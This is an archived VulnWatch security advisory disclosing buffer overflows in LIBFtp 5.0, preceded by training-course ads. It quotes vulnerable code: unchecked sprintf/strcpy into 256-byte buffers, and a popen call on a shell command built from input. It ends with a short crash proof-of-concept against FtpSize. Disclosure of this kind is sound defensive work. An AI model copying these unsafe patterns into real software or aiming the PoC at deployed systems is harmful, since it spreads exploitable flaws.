Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security VulnWatch
[Top] [All Lists]

[VulnWatch] LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overf

Subject: [VulnWatch] LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overflow
Date: Thu, 15 Mar 2007 20:43:09 +0100
http://www.netsw.org/net/ip/filetrans/ftp/libftp/

Description

the library has a multiple (sprintf(), strcpy()) buffer overflow in various functions.

Source errors

fvuln = FtpArchie() FtpDebugDebug() FtpOpenDir() FtpSize()

the FtpString is a typedef of an array with 256bytes:
FtpLibrary.h: typedef char FtpString[256];

..
STATUS FtpChmod(FTP *ftp,char *file,int mode)
{
 FtpString msg;

 sprintf(msg,"SITE CHMOD %03o %s",mode,file);
 return FtpCommand(ftp,msg,"",200,EOF);

}

..

int FtpArchie ( char *what, ARCHIE *result, int len)
{
 FILE *archie;
 FtpString cmd,tmp;
 int i;

 bzero(result,sizeof(result[0])*len);

 sprintf(cmd,"archie -t -l -m %d %s",len,what);

 if ((archie = popen(cmd,"r"))==NULL)
   return 0;

..

STATUS FtpDebugDebug(FTP *ftp,int n, char * Message)
{
 FtpString tmp;


strcpy(tmp,Message);

 if (strncmp(tmp,"PASS ",5)==0)
   {
     char *p=tmp+5;
     while ( *p != '\0') *p++='*';
   };

..

STATUS FtpOpenDir(FTP * con,char * file)
{
 FtpString command;

 if ( file == NULL || *file == '\0' )
   strcpy(command,"NLST");
 else
   sprintf(command,"NLST %s",file);

 return FtpCommand(con,command,"",120,150,200,EOF);
}

..

int FtpSize(FTP * con, char *filename)
{
 FtpString tmp;
 int i,size;

 strcpy(tmp,"SIZE ");
 strcat(tmp,filename);

 if ( FtpSendMessage(con,tmp) == QUIT )
   return EXIT(con,QUIT);
..

POC

#include <FtpLibrary.h>

#define OVF_BUF (270)

int main()
{
        char *buf;

        buf = (char *) malloc(OVF_BUF+1);
        memset(buf, 'A', OVF_BUF);

        // insert function to init ftp connection..
        // insert function to manage ftp connection..

        // calling vulnerable function example FtpSize()
        FtpSize(NULL, buf);

        // insert function to close ftp connection..

        return(0);
}

--
~ starcadi

<Prev in Thread] Current Thread [Next in Thread>
  • [VulnWatch] LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overflow, starcadi starcadi <=